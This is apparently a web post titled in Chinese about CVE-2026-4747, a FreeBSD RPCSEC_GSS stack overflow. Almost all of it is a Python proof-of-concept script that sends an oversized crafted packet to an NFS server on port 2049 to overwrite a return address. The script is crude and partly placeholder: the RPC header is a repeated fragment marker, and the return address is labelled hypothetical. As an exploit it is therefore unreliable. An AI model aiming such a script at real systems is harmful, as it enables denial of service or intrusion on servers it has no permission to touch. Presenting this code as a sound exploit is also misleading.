CVE-2026-4747 FreeBSD RPCSEC_GSS栈溢出漏洞

import socket import struct # Proof of Concept for CVE-2026-4747 # This script demonstrates the buffer overflow vulnerability in RPCSEC_GSS implementation. # It sends a crafted RPC packet to trigger the stack overflow. TARGET_IP = "192.168.1.100" TARGET_PORT = 2049 # NFS Port # Constructing the malicious payload # The vulnerability allows overflowing the stack buffer by sending a large # RPCSEC_GSS data packet without proper size validation. def create_exploit_packet(): # RPC Header (Simplified for PoC) rpc_header = b"\x80\x00\x00\x28" * 4 # Fragment header # Payload to overflow the stack buffer # Adjust the size and offset based on the specific target version overflow_size = 2000 padding = b"A" * 500 # Offset to the return address # Hypothetical return address to bypass DEP/ASLR (example) # In a real exploit, this would be a ROP chain or jump to shellcode ret_addr = struct.pack('<I', 0x08048484) # Fill the rest of the buffer filler = b"C" * (overflow_size - len(padding) - len(ret_addr)) payload = rpc_header + padding + ret_addr + filler return payload if __name__ == "__main__": try: print(f"[*] Sending exploit packet to {TARGET_IP}:{TARGET_PORT}...") payload = create_exploit_packet() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_IP, TARGET_PORT)) sock.send(payload) sock.close() print("[+] Payload sent successfully. Check target for crash or code execution.") except Exception as e: print(f"[-] Error: {e}")